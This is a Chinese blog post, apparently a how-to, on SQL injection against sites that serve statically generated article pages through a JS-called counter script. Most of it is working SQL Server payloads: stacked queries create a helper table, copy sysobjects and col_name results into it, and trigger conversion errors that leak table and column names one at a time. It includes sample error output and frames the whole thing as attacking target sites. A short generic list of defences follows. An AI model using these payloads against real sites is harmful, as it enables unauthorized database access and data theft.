SQL脚本注入的不常见方法概括!

 

 大家在是否碰到过这样的站点,全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。

我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

  攻击方法: 查看源文件/看里面是否有通过JS来调用的页面。如调用来更新文章的浏览次数。

  我们就可以这样来试一下可否注入: http://服务器域名/count.asp?id=1552’

  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

  post.htm内容:主要是方便输入。

  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

  然后插入一条记录:id=1552;insert into aaa values(’test’);--

  再之后枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--

  这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:

  1.  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’ 
  2.   将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。 
  3.   /search.asp,行21 

其中vote就是表名:

  也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  ……类推

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的网络安全威胁,攻击者通过输入恶意SQL代码来操纵数据库。为防止SQL注入,开发者可以采用多种策略和技术来保护应用程序。以下是一些常见SQL注入防御方法: 1. **参数化查询(Parameterized Queries)**:这是最有效的防御手段之一,它将SQL语句中的用户输入作为参数传递给查询,而不是直接拼接到SQL文本中。这样可以避免解析器执行恶意代码。 2. **预编译语句(Prepared Statements)**:类似参数化查询,数据库会预先编译查询语句,然后多次使用,每次传入不同的参数值。 3. **输入验证和过滤**:对用户输入进行严格的检查和格式验证,确保它们符合预期的数据类型和模式,移除特殊字符或转义特殊SQL字符。 4. **使用存储过程(Stored Procedures)**:存储过程在服务器端执行,减少了直接暴露在用户输入下的SQL代码,提高了安全性。 5. **输入长度限制**:设置合理的输入长度限制,防止恶意长字符串导致的SQL注入。 6. **错误处理和信息隐藏**:不向用户显示详细的错误信息,这可能包含数据库结构或敏感数据,攻击者可通过这些信息构造注入语句。 7. **使用ORM(Object-Relational Mapping)框架**:这些框架通常处理SQL查询的细节,提供了一定程度的安全性。 8. **启用数据库SQL注入防御功能**:例如,MySQL的`EXTRA`信息或某些数据库系统的参数设置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值